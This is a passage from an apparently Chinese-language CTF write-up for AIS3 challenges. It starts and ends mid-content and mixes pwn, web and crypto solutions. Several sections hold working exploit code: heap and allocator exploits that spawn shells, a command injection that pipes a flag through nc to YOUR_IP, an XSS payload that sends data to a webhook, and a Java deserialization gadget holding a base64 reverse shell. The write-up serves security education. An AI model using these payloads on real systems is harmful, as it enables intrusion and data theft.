p = remote('quiz.ais3.org', 5002)
p.send(sc)
p.interactive()

Flag: AIS3{nOp_noOp_NOoop!!!}

AIS3 Shell

題目給你一個簡單的 shell,可以 define listrun 指令,每個指令都有個 command name 和 command,command 的部份在輸入 run <command name> 的時候會被放到 system 中,但是在 define 的時候有用白名單限制 command 的值。

這題有實作自己的 memory allocator,InitAlloc 會先用 malloc 預先配置好 256 512 768 ... 的 chunk,然後每個大小的 chunk 都有 64 個。

仔細去看可以發現它在 InitAllocMemAlloc 的地方所用的 buffer 大小對不上,把 index 當作了 chunk 的大小,然後要 MemAlloc 的 size 跑到了 index 的地方去,所以有越界寫入的狀況,所以透過 gdb 玩一下就能弄出把本來就有的 chunk 的指令給蓋掉的狀況,所以就把 ls 蓋掉成 sh 就能 get shell。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
from pwn import *

p = remote("quiz.ais3.org", 10103)

p.sendlineafter(b"$ ", "define")
p.sendlineafter(b"Length of command name: ", "3")
p.sendlineafter(b"Command name: ", "sh")
p.sendlineafter(b"Length of command: ", "3")
p.sendlineafter(b"Command:", "ls")

p.sendlineafter(b"$ ", "define")
p.sendlineafter(b"Length of command name: ", "16384")
p.sendlineafter(b"Command name: ", "a" * 272 + "sh")
p.sendlineafter(b"Length of command: ", "0")

p.sendlineafter(b"$ ", "run sh")

p.interactive()

Flag: AIS3{0hh_H0w_do_you_ch@ng3_my_comm4nd}

Gemini

這題是個 heap 的題目,裡面有種 0x20 大小的資料結構大概能表示如下:

1
2
3
4
5
6
struct point {
int64_t namelen;
int64_t x;
int64_t y;
char *name;
};

有四個操作能用:

  1. malloc(0x20) 然後輸入 x ynamelen,然後再 malloc(namelen) 之後再輸入 name,最後把點放到一個 global 的 array 裡面。
  2. 輸入 index,把點上的 namelen x y 設為 0,然後把 name 給 free 掉之後再 free 點的那個 chunk,但是不會把 global array 裡面的東西給清掉。
  3. 輸入 index,然後修改一個點的 x y
  4. 輸入 index,然後輸出點的 name 的字串值和 x y 的值。

從第二個操作很明顯能知道有 UAF,然後題目是在 Ubuntu 20.04 上面跑的,用的 glibc 是 2.31,所以有 tcache。

不過因為 tcache 只看 next 指標(放在 namelen 的位置上),所以沒辦法直接透過第三個操作去弄 tcache corrpution 達成 malloc 回自己想要的 address。

首先是可以透過建立 8 個 namelen = 256 的點,然後按照順序 free 0~7,所以 heap 狀態會變成這樣:

1
2
3
4
5
# p{i} 指的是第 i 個 point,s{i} 是第 i 個 point 裡面的 name
tcache(0x30) p6 -> p5 -> p4 -> p3 -> p2 -> p1 -> p0
tcache(0x110) s6 -> s5 -> s4 -> s3 -> s2 -> s1 -> s0
fastbin(0x30) p7
fastbin(0x110) s7

之後如果再建立一個 namelen = 32 的點,它的 point 會是 p6,而 name 的地方會是 p5,所以寫入之後再去讀第五個點的值就能達成任意記憶體讀取。

然後如果再把前面建立 8 個 namelen = 256 的點之後,先加入一個大小不同但是超過 fastbin 的點,例如 namelen = 128,然後再 free 0~7 之後再把 namelen = 128 的點給 free 掉,s7 就會跑到 unsorted bin 裡面,這個時候去讀第七個點的值就能 leak libc 的地址。

如果在前面達成任意記憶體讀取的地方去 free 看看的時候,會發現直接 error,因為它在 free 的時候會先把 name 給 free 掉,所以只要把任意記憶體讀取的 address 放到一個 fake chunk 上面去就能讓它之後 malloc 拿到那部份的位置。 (House of Sprit)

所以我先把 point 0 的 name 放成一個 0x410 大小的 fake chunk,然後再用上面的方法去 leak libc 和進入任意記憶體讀取的狀態,接下來把 fake chunk 的位置(可用 offset 算)放到任意記憶體讀取的位置上,之後 free 的時候就會進入 tcache,再 malloc 一次後就能拿回 fake chunk 去達成 heap 上面的 Out of bounds write。

Out of bounds write 之後可以在某個 tcache chunk 的 next 寫入 __free_hook (tcache corruption),然後再 malloc 之後就能對 __free_hook 寫入 system,接下來再讓某個 chunk 的 name 的內容是 /bin/sh,當它被 free 的時候就相當於 system('/bin/sh') 了。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
from pwn import *

context.terminal = ["tmux", "splitw", "-h"]

# p = gdb.debug("./chal", "c")
# p = process("./chal")
p = remote("quiz.ais3.org", 5005)


def add_record(x: int, y: int, namelen: int, name: bytes):
p.sendlineafter(b"> ", "1")
p.sendlineafter(b"x: ", str(x))
p.sendlineafter(b"y: ", str(y))
p.sendlineafter(b"length: ", str(namelen))
if len(name) == namelen:
p.sendafter(b"name: ", name)
else:
p.sendlineafter(b"name: ", name)


def delete_record(idx: int):
p.sendlineafter(b"> ", "2")
p.sendlineafter(b"index: ", str(idx))


def telescope(idx: int):
p.sendlineafter(b"> ", "4")
p.sendlineafter(b"index: ", str(idx))
p.recv(1) # removes single '\n'


# idk wtf am I doing, but it works anyways

add_record(0, 0, 0x10, p64(0) + p64(0x411)) # house of spirits
for i in range(1, 9):
add_record(i, i, 256, str(i))
add_record(9, 9, 128, "8") # prevent consolidation
for i in range(1, 9):
delete_record(i)
delete_record(9)

# leak a heap address
telescope(1)
p.recvuntil(b"- (")
some_heap = int(p.recvline().decode().split(",")[0])
print("some_heap", hex(some_heap))

# leak libc address
telescope(8) # unsorted
libc = (int.from_bytes(p.recv(6), "little") & ~0xFFF) - 0x1EB000
print("libc", hex(libc))


__unused = some_heap + 0xA40
add_record(
10, 10, 256, p64(0) + p64(0x50) + b"testing chunk" * 10
) # I forgot why I tried this, but removing it will break other parts
print(hex(__unused))

# address to the start of house of spirits header
deadbeef = some_heap + 0x2C0
print(hex(deadbeef))

# editing value of 5, so free 5 will frees `deadbeef + 0x10`
add_record(
11, 11, 32, b"0" * 8 + p64(1234) + p64(5678) + p64(deadbeef + 0x10)
)
delete_record(5)

# offset to next of an appropriate freed tcache chunk
add_record(
12, 12, 0x400, b"/bin/sh\0" * (0x150 // 8) + p64(libc + 0x1EEB28) # __free_hook
)
print("__free_hook", hex(libc + 0x1EEB28))

add_record(13, 13, 32, str(13)) # removing unneeded chunks from tcache
add_record(
87, 87, 32, p64(libc + 0x55410)
) # malloced name is __free_hook, so write system in
delete_record(
5
) # since padding are b'/bin/sh\0', randomly deletes one of them will be free(b'/bin/sh\0'), which will trigger __free_hook
p.interactive()

Flag: AIS3{345y_h34p_345y_l1f3}

Web

ⲩⲉⲧ ⲁⲛⲟⲧⲏⲉꞅ 𝓵ⲟ𝓰ⲓⲛ ⲣⲁ𝓰ⲉ

可以利用 usernamepassword 去 json injection,因為 json.loads 遇到重複的 key 會取後面出現的值。

例如 username 設為 c8763password 設為 ", "showflag": true, "password": null, "a": " 就能成功登入了,因為 json 會變成:

1
{"showflag": false, "username": "c8763", "password": "", "showflag": true, "password": null, "a": ""}

Flag: AIS3{/r/badUIbattles?!?!}

HaaS

這題有簡單的 ssrf,只要 status code 和預期的 status 不同就會顯示內容,不過它會擋 localhost 或是 127.0.0.1 這樣的字串。這個部分可以自己用網域弄個 A record 到 127.0.0.1 去繞,或是使用 ipv4 的其他表示方法,例如 127.1。所以只要用這樣的 request 就能得到 flag 了:

1
curl "http://quiz.ais3.org:7122/haas" --data "url=http://127.1/&status=1"

Flag: AIS3{V3rY_v3rY_V3ry_345Y_55rF}

【5/22 重要公告】

首先是可以用 LFI 讀到檔案: curl "http://quiz.ais3.org:8001/?module=php://filter/read=convert.base64-encode/resource=modules/api"

modules/api.php 的內容:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
<?php
header('Content-Type: application/json');

include "config.php";
$db = new SQLite3(SQLITE_DB_PATH);

if (isset($_GET['id'])) {
$data = $db->querySingle("SELECT name, host, port FROM challenges WHERE id=${_GET['id']}", true);
$host = str_replace(' ', '', $data['host']);
$port = (int) $data['port'];
$data['alive'] = strstr(shell_exec("timeout 1 nc -vz '$host' $port 2>&1"), "succeeded") !== FALSE;
echo json_encode($data);
} else {
$json_resp = [];
$query_res = $db->query("SELECT * FROM challenges");
while ($row = $query_res->fetchArray(SQLITE3_ASSOC)) $json_resp[] = $row;
echo json_encode($json_resp);
}

在裡面可以發現它有個 sql injection,不過撈 database 看不到 flag,所以可以改為控制 $data['host'] 去達成 command injection。它雖然會把空白 replace 不見,不過這個可以利用 ${IFS} 代替空白,然後把資料發送到自己的 server 上面即可:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
import requests

sh = "google.com' 80;cat /flag_81c015863174cd0c14034cc60767c7f5 | nc YOUR_IP PORT;#'"
payload = (
r"0 union select 'elite','"
+ sh.replace(" ", "${IFS}").replace("'", "''")
+ r"',1234"
)
print(payload)
resp = requests.get(
"http://quiz.ais3.org:8001", params={"module": "modules/api", "id": payload}
)
data = resp.json()
print(data)

print(f"timeout 1 nc -vz '{data['host']}' '{data['port']}' 2>&1")

Flag: AIS3{o1d_skew1_w3b_tr1cks_co11ect10n_:D}

XSS Me

這題可以透過 message 參數放東西到一個 <script> 裡面的一個字串中,測試一下會發現 ' " \ 等等的字元都有正常 escape 掉,所以沒辦法讓它脫離 js 的字串去 xss。不過如果直接輸入 <script>alert(1)</script> 的話會發現瀏覽器就不執行原本的 js 了,因為瀏覽器在解析 html 中的 script tag 的時候是優先看 </script> 作為結束,所以就算是在 js 的字串中出現也是能強制把 <script> 結束,進行 XSS。

再來是會發現它的 message 有長度限制,超過一定長度就會超出限制範圍,我這邊用 <svg/onload> 結合 location=location.hash.slice(1),然後在 hash 的地方塞 javascript:... 就不過超過長度了。

最終的 url:

1
http://quiz.ais3.org:8003/?message=%3C/script%3E%3Csvg%20onload=location=location.hash.slice(1)%3E#javascript:fetch('/getflag').then(r=%3Er.text()).then(x=%3Elocation='https://webhook.site/b8950183-c7a9-431d-8efb-005d738c5798?a='+x)

Flag: AIS3{XSS_K!NG}

Cat Slayer ᴵⁿᵛᵉʳˢᵉ

這個題目是 java 的 deserialization,它雖然只有給 .class,但是直接用 Decompiler 之後的結果可讀性很高,直接複製下來也是能 compile 的。

可以看到它在 Maou 這個 class 裡面有自己額外寫 serialization 的 code,然後它還會根據讀進來的資料去用 reflection 去 construct class,然後 call method,所以可以想辦法讓它呼叫 Runtime.exec

Main.java:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
package com.cat;

import java.io.*;
import java.lang.reflect.InvocationTargetException;
import java.util.Base64;

public class Main {

public static void main(String[] args) throws ClassNotFoundException, NoSuchMethodException, InvocationTargetException, InstantiationException, IllegalAccessException, IOException {
Maou player = new Maou("elite");
player.summonCats(3);
ByteArrayOutputStream bos = new ByteArrayOutputStream();
ObjectOutputStream outputStream = new ObjectOutputStream(bos);
outputStream.writeObject(player);
var token = Base64.getEncoder().encodeToString(bos.toByteArray());
System.out.println(token);
}
}
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
package com.cat;

import java.io.IOException;
import java.io.ObjectInputStream;
import java.io.ObjectOutputStream;
import java.io.Serializable;
import java.lang.reflect.Constructor;
import java.lang.reflect.InvocationTargetException;
import java.lang.reflect.Method;
import java.util.ArrayList;


public class Maou implements Serializable {
String[] DEMON_NAMES = new String[]{ "bash -c {echo,YmFzaCAtaSA+JiAvZGV2L3RjcC9ZT1VSX0lQL1BPUlQgMD4mMQ==}|{base64,-d}|{bash,-i} && echo 1 # 1"};

String CAT_NAME_SETTER = "exec";

String name = "(unnamed)";

ArrayList<Cat> cats = new ArrayList<>();

public Maou(String name) {
this.name = name;
}

public void summonCats(int num) throws ClassNotFoundException, InstantiationException, IllegalAccessException, NoSuchMethodException, InvocationTargetException {
String[] catTypes = {"BabyCat", "NormalCat", "SuperCat"};
for (int i = 0; i < num; i++) {
String type = catTypes[(int) (Math.random() * 3.0D)];
this.cats.add((Cat) Class.forName("com.cat." + type)
.getConstructor(new Class[]{String.class}).newInstance(new Object[]{genCatName() + "-" + type}));
}
}

public String getName() {
return this.name;
}

public ArrayList<Cat> getCats() {
return this.cats;
}

private String genCatName() {
int len = this.DEMON_NAMES.length;
return this.DEMON_NAMES[(int) (Math.random() * len)];
}

private void writeObject(ObjectOutputStream stream) throws IOException {
stream.writeObject(this.DEMON_NAMES);
stream.writeObject(this.CAT_NAME_SETTER);
stream.writeObject(this.name);
ArrayList<String> catsClass = new ArrayList<>();
// for (Cat cat : this.cats){
// catsClass.add(cat.getClass().getName());
// }
catsClass.add("java.lang.Runtime");
stream.writeObject(catsClass);
}

private void readObject(ObjectInputStream stream) throws IOException, ClassNotFoundException, NoSuchMethodException, InvocationTargetException, InstantiationException, IllegalAccessException {
this.DEMON_NAMES = (String[]) stream.readObject();
this.CAT_NAME_SETTER = (String) stream.readObject();
this.name = (String) stream.readObject();
this.cats = new ArrayList<>();
ArrayList<String> catClsStrings = (ArrayList<String>) stream.readObject();
for (String catCls : catClsStrings) {
String[] parts = catCls.split("\\.");
String typeName = parts[parts.length - 1];
Class<?> cls = Class.forName(catCls);
Method method = cls.getMethod(this.CAT_NAME_SETTER, String.class);
Constructor<?> constructor = cls.getDeclaredConstructor();
constructor.setAccessible(true);
Object cat = constructor.newInstance();
this.cats.add((Cat) cat);
}
}
}

用這樣的方法就能生成出能 RCE 的 payload,DEMON_NAMES 的地方放的是要執行的指令。不過由於 Runtime.exec 會對某些字元做些處裡的樣子,我用了這個網站先把指令處裡成能在 Runtime.exec 裡面執行的形式。裡面的指令就一個簡單的 reverse shell,在自己的 server 上先 nc -vl $PORT 監聽一下即可。

Flag: AIS3{maou_lucifer_meowmeow}

Crypto

Microchip

這題蠻明顯的,就因為有已知的 flag format,可以獲得需要的 keys 去解密整個:

1
2
3
4
5
6
7
8
s = b"=Js&;*A`odZHi'>D=Js&#i-DYf>Uy'yuyfyu<)Gu"
toks = [s[i : i + 4][::-1] for i in range(0, len(s), 4)]
keys = [b - (a - 32) for a, b in zip(b"AIS3", toks[0])]
print(
"".join(
sum([[chr(((a - b) % 96) + 32) for a, b in zip(x, keys)] for x in toks], [])
)
)

Flag: AIS3{w31c0me_t0_AIS3_cryptoO0O0o0Ooo0}

ReSident evil villAge

這題的目標是要 sign 一個特別的 target ,而系統能讓你隨便 sign 任意的

只要先 sign ,這樣就能得到 ,兩個數字相乘變成 ,因為 所以 是個 valid signature。

Flag: AIS3{R3M383R_70_HAsh_7h3_M3Ssa93_83F0r3_S19N1N9}

Republic of South Africa

這題會用一個奇怪的 keygen 函數去計算一個 count,然後生成兩個 public key n=pq 使得 p+q == count,然後用 RSA 把 flag 加密。

它的 count 是一個用物理上的彈性碰撞的次數去計算的,因為它的 digits 很大所以不可能直接算,因為太慢了。如果有在看 3b1b 的話應該有看過 Why do colliding blocks compute pi?,所以知道 count 其實是 的前 153 位: 31415...

既然知道 ,可以利用解二次方程 得到兩根 :

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
from Crypto.Util.number import long_to_bytes
from gmpy2 import isqrt

count = 314159265358979323846264338327950288419716939937510582097494459230781640628620899862803482534211706798214808651328230664709384460955058223172535940812848 # first 153 digits of pi
n = 23662270311503602529211462628663973377651035055221337186547659666520360329842954292759496973737109678655075242892199643594552737098393308599593056828393773327639809644570618472781338585802514939812387999523164606025662379300143159103239039862833152034195535186138249963826772564309026532268561022599227047
e = 65537
c = 11458615427536252698065643586706850515055080432343893818398610010478579108516179388166781637371605857508073447120074461777733767824330662610330121174203247272860627922171793234818603728793293847713278049996058754527159158251083995933600335482394024095666411743953262490304176144151437205651312338816540536


def quadratic(a, b, c):
D = b ** 2 - 4 * a * c
return (-b + isqrt(D)) // (2 * a), (-b - isqrt(D)) // (2 * a)


p, q = quadratic(1, -count, n)
assert p * q == n
d = pow(e, -1, (p - 1) * (q - 1))
m = pow(c, d, n)
print(long_to_bytes(m).decode())

Flag: AIS3{https://www.youtube.com/watch?v=jsYwFizhncE}

Microchess

題目是要和一個 bot 玩 Nim Game,它一開始是給你一個你必輸的局面,所以沒有正規方法能贏。

可以看到說它有個儲存與載入遊戲的功能,一個局面是以逗號分隔的數字表達: 8,7,6,3,然後會用一個它自創的 hash 去算 digest 放到局面的後面,例如 8,7,6,3:160c8763,所以目標是想辦法修改局面,還要弄出正確的 digest 才能通過檢查。

只是可以看到它的 hash 函數裡面有用到特殊的 secret 值,沒有那個值我們沒辦法算 hash,不過可以觀察發現它很容易做 length extension attack,所以拿已知必輸的局面在後面加上 ,1 把它變成必勝,然後算出延伸後的 digest 即可。為了方便我會找局面的字串長度正好為 8 的倍數的,因為它的 hash 有 padding 的問題,這樣比較好算延伸後的 hash。之後就用它提供的算法去決定必勝的策略去下贏對方就能拿到 flag 了。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
from pwn import *
from functools import reduce
from operator import xor

# p = remote("quiz.ais3.org", 10234) # microcheese (bugged version)
p = remote("quiz.ais3.org", 10235) # microchess


def get_saved_game():
p.sendlineafter(b"what would you like to do? ", b"1")
p.sendlineafter(b"it's your turn to move! what do you choose? ", "1")
p.recvuntil(b"you game has been saved! here is your saved game:\n")
line = p.recvline().decode().strip()
game, digest = line.split(":")
return game, bytes.fromhex(digest)


while True:
game, digest = get_saved_game()
if len(game) % 8 == 0:
break


def splitmix64(x: int) -> int:
U64_MASK = 0xFFFFFFFFFFFFFFFF
x = (x + 0x9E3779B97F4A7C15) & U64_MASK
x = ((x ^ (x >> 30)) * 0xBF58476D1CE4E5B9) & U64_MASK
x = ((x ^ (x >> 27)) * 0x94D049BB133111EB) & U64_MASK
return x ^ (x >> 31)


def f(a: int, b: int) -> int:
for i in range(16):
a, b = b, a ^ splitmix64(b)
return b


def to_blocks(message: bytes):
return [
int.from_bytes(message[i : i + 8], "big") for i in range(0, len(message), 8)
]


def pad(message: bytes):
c = -len(message) % 8
return message + b"\x00" * c


def length_extend(digest: bytes, appended: bytes):
blocks = to_blocks(pad(appended))
state = int.from_bytes(digest, "big")
for block in blocks:
state = f(state, block)
return state.to_bytes(8, "big")


print("original", game, digest.hex())

new_game = game + ",1"
new_digest = length_extend(digest, b",1")

print("new", new_game, new_digest.hex())

p.sendlineafter(b"what would you like to do? ", b"2")
p.sendlineafter(b"enter the saved game: ", new_game + ":" + new_digest.hex())

stones = list(map(int, new_game.split(",")))
print(stones)


def nim_sum(stones):
return reduce(xor, stones)


def make_winning_decision(stones):
sm = nim_sum(stones)
assert sm != 0
for i, v in enumerate(stones):
target = v ^ sm
if target < v:
pile = i
count = v - target
break
return pile, count


while len(stones) > 1:
pile, count = make_winning_decision(stones)
stones[pile] -= count
if stones[pile] == 0:
stones.pop(pile)
p.sendlineafter(b"it's your turn to move! what do you choose? ", "0")
p.sendlineafter(b"which pile do you choose? ", str(pile))
p.sendlineafter(b"how many stones do you remove? ", str(count))
p.recvuntil(b"i removed ")
line = p.recvline().decode().strip()
toks = line.split(" ") # 14 stones from pile 6
count = int(toks[0])
pile = int(toks[4])
stones[pile] -= count
if stones[pile] == 0:
stones.pop(pile)
print(stones)


p.sendlineafter(b"it's your turn to move! what do you choose? ", "0")
p.sendlineafter(b"which pile do you choose? ", "0")
p.sendlineafter(b"how many stones do you remove? ", str(stones[0]))

print(p.recvall().decode())

Flag: AIS3{1._e4_e5_2._Qh5_Ke7_3._Qxe5#_1-0}

Microchart

這題有點像是把類似 LFSR 的東西放在一個 osu! 的譜面中,然後 flag 是 LFSR 前面的一個狀態。

首先是可以寫個腳本把譜面中裡面的那個 sequence dump 出來:

1
2
3
4
5
6
7
8
9
10
11
12
with open("microchart.osu", "r") as f:
lines = f.readlines()
hitobj = False
for l in lines:
if not l:
continue
if "HitObjects" in l:
hitobj = True
continue
if hitobj:
x = int(l.split(",")[0])
print(x // 2, end=', ')

再來是發現它在把 state 往前弄一部的時候像是在做向量內積,所以找出 64 組可以建立一個線性方程組,然後解開就能找到它的 recurrence,要反向的話也是一樣解線性方程組,之後再利用內積就能回推了。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
from sage.all import *

# fmt: off
seq = [207, 74, 215, 38, 214, 81, 146, 137, 218, 148, 118, 64, 99, 208, 64, 26, 89, 235, 114, 40, 61, 188, 39, 226, 19, 100, 41, 76, 17, 187, 106, 13, 43, 169, 143, 77, 2, 213, 212, 238, 91, 249, 17, 206, 67, 131, 112, 191, 21, 168, 82, 149, 189, 86, 162, 24, 140, 83, 69, 69, 23, 171, 145, 8, 113, 39, 121, 1, 102, 8, 204, 129, 133, 194, 193, 123, 204, 147, 130, 174, 38, 202, 220, 9, 175, 206, 1, 97, 242, 4, 170, 124, 123, 112, 48, 217, 173, 119, 187, 178, 70, 169, 127, 103, 169, 118, 142, 185, 20, 18, 203, 186, 241, 47, 100, 12, 125, 143, 39, 53, 122, 254, 105, 125, 149, 56, 156, 211, 209, 63, 218, 106, 146, 77, 24, 146, 79, 65, 117, 45, 171, 120, 32, 127, 104, 55, 133, 127, 45, 243, 173, 218, 37, 61, 246, 102, 150, 30, 5, 67, 52, 170, 186, 18, 181, 75, 127, 87, 12, 49, 207, 104, 210, 180, 232, 55, 204, 32, 221, 194, 131, 132, 203, 170, 57, 104, 36, 53, 227, 209, 226, 197, 141, 244, 139, 145, 161, 97, 101, 16, 114, 193, 13, 209, 255, 27, 151, 99, 59, 125, 55, 130, 70, 41, 162, 118, 220, 186, 170, 114, 199, 146, 50, 107, 166, 48, 254, 145, 48, 33, 118, 181, 52, 239, 106, 105, 254, 14, 25, 217, 124, 248, 205, 226, 0, 167, 40, 36, 14, 18, 150, 9, 8, 212, 53, 154, 153, 138, 178, 87, 93, 196, 131, 81, 32, 33, 229, 37, 129, 101, 198, 120, 184, 4, 21, 129, 213, 99, 160, 198, 188, 168, 70, 43, 58, 232, 171, 157, 76, 0, 189, 39, 171, 61, 187, 26, 128, 165, 22, 201, 115, 222, 40, 135, 99, 22, 151, 29, 192, 249, 143, 138, 102, 51, 53, 113, 252, 62, 253, 173, 235, 255, 168, 125, 156, 125, 138, 108, 157, 167, 15, 27, 250, 186, 50, 178, 139, 58, 227, 163, 13, 63, 178, 109, 12, 181, 135, 143, 209, 179, 131, 159, 102, 252, 231, 9, 114, 83, 113, 92, 224, 49, 137, 182, 240, 235, 26, 178, 49, 218, 129, 19, 244, 170, 26, 215, 112, 232, 143, 6, 151, 3, 179, 236, 222, 93, 183, 134, 103, 167, 125, 228, 21, 227, 88, 71, 218, 115, 50, 92, 123, 245, 244, 13, 70, 218, 248, 209, 72, 233, 50, 24, 248, 194, 110, 165, 87, 53, 61, 76, 173, 112, 24, 240, 96, 183, 129, 218, 178, 146, 198, 26, 132, 227, 144, 104, 176, 162, 194, 164, 32, 49, 0, 33, 29, 120, 24, 31, 196, 121, 254, 137, 61, 112, 161, 110, 144, 8, 237, 63, 243, 61, 188, 102, 99, 182, 69, 72, 140, 102, 108, 142, 104, 177, 136, 110, 251, 143, 173, 99, 34, 49, 221, 169, 205, 88, 216, 0, 39, 57, 234, 52, 201, 151, 108, 18, 193, 100, 165, 129, 12, 12, 167, 108, 45, 38, 151, 52, 158, 93, 128, 243, 250, 217, 70, 192, 200, 95, 136, 137, 57, 245, 152, 20, 130, 73, 109, 84, 10, 201, 43, 70, 165, 124, 59, 78, 99, 192, 99, 137, 232, 54, 225, 200, 15, 64, 139, 142, 163, 168, 175, 170, 112, 142, 102, 209, 227, 90, 11, 9, 175, 210, 233, 179, 125, 65, 89, 47, 244, 8, 215, 190, 102, 97, 82, 98, 16, 227, 135, 29, 234, 42, 81, 180, 1, 200, 79, 222, 138, 238, 7, 86, 43, 60, 247, 85, 170, 22, 183, 235, 240, 30, 84, 246, 34, 177, 21, 9, 142, 197, 206, 64, 73, 71, 128, 212, 48, 12, 154, 146, 185, 144, 219, 79, 13, 243, 82, 167, 202, 141, 170, 249, 195, 28, 144, 156, 175, 232, 230, 241, 175, 215, 145, 141, 137, 31, 185, 158, 38, 195, 12, 135, 132, 14, 250, 5, 144, 56, 150, 145, 78, 250, 36, 6, 133, 176, 42, 166, 91, 145, 211, 70, 33, 32, 23, 38, 118, 26, 0, 108, 104, 9, 84, 102, 187, 162, 211, 168, 89, 180, 123, 82, 186, 236, 173, 195, 130, 55, 137, 142, 182, 205, 35, 66, 93, 183, 30, 180, 152, 5, 229, 97, 229, 59, 72, 219, 94, 107, 5, 210, 135, 168, 105, 98, 236, 11, 186, 115, 204, 170, 85, 190, 102, 149, 183, 129, 72, 164, 67, 179, 127, 103, 36, 64, 191, 67, 81, 137, 40, 190, 158, 231, 238, 95, 28, 211, 15, 84, 122, 142, 82, 173, 93, 38, 183, 173, 207, 97, 237, 49, 25, 246, 147, 86, 165, 39, 54, 215, 140, 66, 212, 57, 7, 11, 194, 164, 227, 81, 52, 152, 97, 29, 128, 68, 105, 37, 228, 1, 157, 88, 196, 178, 20, 143, 234, 75, 128, 34, 77, 18, 10, 4, 60, 49, 81, 162, 6, 59, 220, 74, 86, 30, 134, 14, 193, 226, 223, 73, 142, 17, 90, 11, 150, 94, 58, 202, 121, 57, 155, 24, 234, 230, 47, 216, 105, 220, 200, 145, 215, 213, 225, 85, 186, 217, 123, 97, 8, 203, 208, 23, 112, 76, 253, 1, 20, 14, 66, 180, 43, 143, 99, 6, 38, 48, 162, 113, 165, 174, 255, 240, 25, 244, 206, 172, 212, 25, 200, 161, 229, 43, 202, 45, 91, 228, 205, 47, 140, 222, 174, 174, 211, 216, 144, 99, 135, 218, 187, 109, 252, 183, 22, 96, 156, 196, 199, 246, 185, 173, 143, 7, 136, 114, 100, 224, 141, 64, 32, 96, 30, 24, 214, 155, 85, 36, 115, 8, 182, 132, 156, 159, 62, 241, 171, 94, 206, 153, 224, 137, 62, 146, 101, 50, 90, 9, 149, 229, 112, 169, 21, 191, 52, 183, 248, 175, 17, 234, 255, 89, 48, 243, 139, 112, 232, 174, 11, 27, 143, 169, 160, 198, 195, 7, 170, 179, 206, 18, 36, 209, 146, 35, 6, 227, 107, 225, 1, 211, 185, 22, 46, 94, 216, 151, 248, 43, 147, 241, 47, 152, 39, 137, 107, 124, 110, 36, 131, 7, 16, 245, 32, 18, 143, 140, 141, 198, 213, 121, 50, 39, 70, 97, 2, 155, 74, 216, 155, 203, 127, 246, 222, 61, 241, 200, 178, 32, 170, 169, 223, 109, 157, 93, 111, 171, 66, 188, 28, 53, 71, 43, 154, 181, 123, 247, 114, 164, 42, 37, 223, 197, 177, 159, 232, 83, 159, 218, 247, 227, 161, 63, 134, 5, 72, 235, 174, 3, 107, 92, 174, 36, 172, 18, 27, 52, 106, 138, 3, 99, 114, 239, 4, 90, 0, 121, 156, 49, 175, 21, 205, 110, 65, 197, 179, 176, 6, 32, 111, 136, 226, 126, 208, 174, 60, 96, 11, 58, 62, 62, 36, 128, 18, 229, 130, 159, 228, 66, 255, 109, 43, 97, 109, 244, 74, 42, 214, 131, 231, 35, 7, 155, 171, 142, 150, 125, 193, 187, 135, 74, 20, 39, 114, 162, 10, 0, 6, 171, 199, 0, 124, 247, 10, 219, 80, 254, 25, 214, 208, 245, 26, 22, 76, 91, 188, 145, 10, 219, 206, 96, 155, 231, 151, 23, 205, 210, 199, 241, 76, 191, 161, 170, 199, 203, 117, 176, 177, 227, 93, 68, 7, 242, 23, 15, 241, 22, 250, 33, 135, 229, 233, 38, 98, 137, 133, 125, 220, 177, 187, 78, 240, 120, 65, 104, 236, 29, 44, 177, 154, 245, 12, 238, 144, 200, 44, 126, 138, 73, 253, 221, 140, 92, 154, 62, 250, 14, 13, 64, 159, 96, 105, 160, 58, 129, 124, 250, 74, 38, 35, 201, 59, 21, 113, 14, 244, 50, 21, 106, 47, 159, 46, 252, 15, 145, 35, 173, 63, 169, 123, 216, 85, 78, 130, 141, 245, 109, 65, 40, 183, 15, 80, 53, 60, 64, 116, 252, 244, 71, 247, 121, 25, 141, 220, 75, 239, 81, 125, 184, 218, 106, 49, 221, 197, 146, 218, 92, 190, 217, 171, 69, 127, 253, 44, 69, 65, 33, 235, 125, 70, 32, 81, 220, 186, 116, 90, 132, 53, 15, 90, 1, 7, 253, 187, 227, 30, 183, 25, 41, 128, 179, 15, 186, 204, 145, 27, 53, 174, 161, 214, 207, 118, 81, 127, 83, 145, 34, 120, 134, 151, 64, 64, 191, 103, 238, 147, 201, 89, 182, 72, 189, 61, 42, 237, 174, 211, 165, 205, 39, 143, 56, 219, 34, 36, 37, 18, 175, 35, 127, 87, 199, 218, 93, 20, 187, 219, 66, 241, 236, 125, 147, 20, 193, 160, 135, 217, 62, 109, 194, 240, 107, 209, 193, 182, 225, 237, 11, 12, 40, 157, 184, 38, 216, 164, 143, 129, 133, 33, 158, 197, 241, 162, 243, 24, 55, 43, 130, 36, 4, 107, 6, 19, 189, 188, 131, 15, 238, 172, 114, 91, 247, 81, 67, 140, 71, 82, 207, 70, 177, 160, 93, 165, 207, 64, 110, 41, 204, 53, 53, 117, 162, 226, 213, 63, 201, 151, 232, 118, 83, 246, 62, 69, 81, 239, 231, 213, 79, 111, 228, 53, 89, 219, 30, 112, 48, 92, 215, 51, 243, 159, 171, 133, 6, 15, 